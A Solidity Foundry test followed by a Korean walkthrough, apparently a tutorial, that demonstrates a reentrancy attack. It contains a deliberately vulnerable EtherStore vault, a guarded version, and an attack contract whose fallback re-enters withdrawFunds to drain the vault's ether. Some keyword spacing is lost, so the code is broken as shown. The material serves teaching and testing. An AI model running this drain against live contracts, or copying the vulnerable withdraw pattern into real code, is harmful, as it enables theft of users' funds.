// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import"forge-std/Test.sol";
// EtherStore is a simple vault, it can manage everyone's ethers.// But it's vulnerable, can you steal all the ethers ?
contract EtherStore {
mapping(address => uint256) public balances;
functiondeposit() public payable {
balances[msg.sender] += msg.value;
}
functionwithdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
contract EtherStoreRemediated {
mapping(address => uint256) public balances;
bool internal locked;
modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
functiondeposit() public payable {
balances[msg.sender] += msg.value;
}
functionwithdrawFunds(uint256 _weiToWithdraw) public nonReentrant{
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
contract ContractTest is Test {
EtherStore store;
EtherStoreRemediated storeRemediated;
EtherStoreAttack attack;
EtherStoreAttack attackRemediated;
functionsetUp() public {
store = newEtherStore();
storeRemediated = newEtherStoreRemediated();
attack = newEtherStoreAttack(address(store));
attackRemediated = newEtherStoreAttack(address(storeRemediated));
vm.deal(address(store), 5 ether);
vm.deal(address(storeRemediated), 5 ether);
vm.deal(address(attack), 2 ether);
vm.deal(address(attackRemediated), 2 ether);
}
functiontestReentrancy() public {
attack.Attack(); // exploit here
}
functiontestFailRemediated() public {
attackRemediated.Attack();
}
}
contract EtherStoreAttack is DSTest {
EtherStore store;
constructor(address _store) public {
store = EtherStore(_store);
}
functionAttack() public {
emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
store.deposit{value: 1 ether}();
emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);
emit log_string("==================== Start of attack ====================");
store.withdrawFunds(1 ether); // exploit here
emit log_string("==================== End of attack ====================");
emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);
emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);
}
fallback() external payable {
emit log_named_decimal_uint("EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Attacker balance", address(this).balance, 18);
if (address(store).balance >= 1 ether) {
emit log_string("Reenter");
store.withdrawFunds(1 ether); // exploit here
}
}
}
코드 test의 결과이다.
계속 Reenter를 해서 EtherStore balance를 0으로 만들고 Attacker가 전부 가져갔다.
Trace를 분석해보자
첫 공격 때 Attacker가 EtherStore에 1 ether 기부한다. 그리고 1 ether를 출금하는 데 fallback()함수로 가서 EtherStore가 Attacker에거 1 ether를 주고 재진입을 한다. 다시 withdraw() 함수로 가서 과정을 반복하는 데 EtherStore의 Balance가 0일 될때까지 반복한다.
이 공격을 재진입 공격이라고 하는 데 코드랑 같이 살펴보자.
Attack() 함수를 보면 store에 1 ether를 기부한다. 그리고 다시 1 ether를 출금을 요청한다.
withdrawFunds() 함수가 문제가 있는 데 일단 흐름을 살펴 보면 msg.sender의 잔액이 출금할 금액 보다 큰지 확인 한다. 그리고 msg.sender에 출금할 금액을 보낸다. 만약 성공하면 잔액을 차감한다. 단순히 흐름만 보면 문제가 없다.
그냥 출금할 돈을 주고 차감하는거 아닌가?? 이런 생각이 들 수도 있다.
withdrawFunds함수의 msg.sender는 EtherStoreAttack Contract의 주소이다. withdrawFunds() 함수가 EtherStoreAttack에게 돈을 보내면 EtherStoreAttack의 fallback() 함수가 실행이 된다. 그리고 fallback()이 return이 되면 다음 require이 실행이 된다.
그럼 여기서 의문이 드는 게 fallback() 함수안에 다시 withdrawFunds() 함수를 call하면 어떻게 될까??
자 Attacker는 1 ether를 지불하고 withdrawFunds() 함수를 호출했다. fallback() 함수로 가면 Attacker는 1 ether를 받고, EtherStore의 balance또한 감소할 것이다. 그런데 해당 사용자의 balances 즉 기부금은 감소가 되지 않는다.
이런 메커니즘이면 EtherStore의 balance가 0이 되거나 call stack이 초과할 때까지 무한적으로 재진입을 한다.